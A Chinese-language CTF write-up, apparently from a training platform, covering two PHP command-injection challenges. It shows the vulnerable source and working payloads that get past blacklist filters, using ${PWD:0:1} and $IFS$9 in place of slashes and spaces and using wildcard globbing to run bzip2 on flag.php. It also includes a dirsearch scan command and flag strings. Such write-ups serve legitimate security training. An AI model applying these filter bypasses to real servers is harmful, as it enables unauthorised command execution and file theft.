NoNumberFile(环境变量利用)

[题目信息]:

题目名称 题目难度
NoNumberFile(环境变量利用) 2

[题目考点]:

复制代码
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

复制代码
SangFor{rMU4PSrW6Uu-m1CS5TCqEvCOhD8NShzo}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

复制代码
http://分配ip:5018

[题目writeup]:

1、实验主页

2、代码分析

复制代码
<?php
    ini_set("display_errors", "On");
    error_reporting(E_ALL | E_STRICT);
    //flag in /flag
    highlight_file(__FILE__);
    $cmd=$_GET['cmd'];
    $str1='/';
    $str2='.';
    $str3='|';
    $str4=' ';
    $str5='&';
    $str5='@';
    $str6='!';
    $str7='+';
    $str8='>';
    $str9='(';
    $str10='\\';
    $str11='^';
    $str12='cd';
    if((strstr($cmd,$str1)) || (strstr($cmd,$str2)) || (strstr($cmd,$str3)) || (strstr($cmd,$str4)) || (strstr($cmd,$str5)) || (strstr($cmd,$str6)) || (strstr($cmd,$str7)) || (strstr($cmd,$str8))|| (strstr($cmd,$str9))|| (strstr($cmd,$str10))|| (strstr($cmd,$str11)) ||(strstr($cmd,$str12))){
        exit("quit!!!!");
    }
    if (!empty($cmd)){
    echo "<pre>";
    echo $cmd;
    system($cmd);
    echo "<pre>";
    }else{
        echo "</br>Please enter the Command! </br>";
    }

?>

代码较长,主要分析核心代码;

  1. 用户通过get方式传递参数值
  2. 提示flag位于"/flag",但禁用了两个关键符号,"/",以及".";
  3. 如果通过waf后,会执行system()函数;

其他大多数绕过方式我们已经接触过了,例如本题目禁用得空格符号,我们可以使用IFS9、${IFS}、>等进行绕过;那么对于/符号该如何绕过呢;

内置环境变量利用

$PWD 是个系统变量

pwd 是linux 自带的命令. 全称: pathname of the current working directory.

从图中可以看出,${PWD:0:1}类似sql语句中mid,substr等截断函数,"0"表示截取位置为第一个字符,"1"表示截取长度为1;

${PWD:0:1} <==> "/"

payload

先执行

复制代码
?cmd=cat$IFS$9${PWD%3a0%3a1}flag







[题目信息]:

题目名称 题目难度
代码执行-NoNumberWord 2

[题目考点]:

复制代码
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

复制代码
SangFor{VL05gZqwon2F3F7TMk7akkjdnN1kpTEE}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

复制代码
http://分配ip:5017
flag位于/var/www/html/flag.php
bz2

[题目writeup]:

1、实验主页

2、使用dirsearch扫描网站目录

复制代码
python dirsearch.py -u http://分配ip/ -e php -t 20

flag.php文件存在。

3、代码分析

复制代码
<?php
// flag in flag.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]||[A-Z]6|4|\`|\%|\x26|\>|\<|@/i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤各类字符、以及字母;但未过滤数字。

使用Linux通配符,匹配bz2命令压缩flag.php文件,然后通过浏览器下载bz2文件;

bzip2 是一个非常有名的压缩工具,并且在大多数主流 Linux 发行版上都有;

使用通配符匹配/bin/bzip2,使用/???/???/???/???.???匹配/var/www/html/flag.php文件

payload

先执行

复制代码
?c=/???/????2 /???/???/????/????.???

然后执行,下载php.bz2压缩包;

复制代码
ip:5017/flag.php.bz2
相关推荐
liulilittle37 分钟前
OPENPPP2 —— IP标准校验和算法深度剖析:从原理到SSE2优化实现
网络·c++·网络协议·tcp/ip·算法·ip·通信
晓衣1 小时前
2025“獬豸杯”全国电子数据取证竞赛-k8s服务器取证wp
服务器·经验分享·程序人生·网络安全·容器·kubernetes·学习方法
我爱云计算1 小时前
K8S详解(5万字详细教程)
linux·运维·云原生·容器·kubernetes
北极光SD-WAN组网3 小时前
从0到1搭建某铝箔智慧工厂网络:5G与WiFi 6助力智能制造
网络·5g·制造
阿昭L3 小时前
HTTP原理
网络·网络协议·http
2301_794333913 小时前
实验室服务器配置|通过Docker实现Linux系统多用户隔离与安全防控
linux·服务器·docker·实验室
hazy1k4 小时前
STM32H750 RTC介绍及应用
网络·stm32·实时音视频
没书读了4 小时前
考研复习-计算机网络-第三章-数据链路层
网络·计算机网络·考研
on the way 1235 小时前
多线程之HardCodedTarget(type=OssFileClient, name=file, url=http://file)异常
网络·网络协议·http
荣光波比5 小时前
Nginx 实战系列(一)—— Web 核心概念、HTTP/HTTPS协议 与 Nginx 安装
linux·运维·服务器·nginx·云计算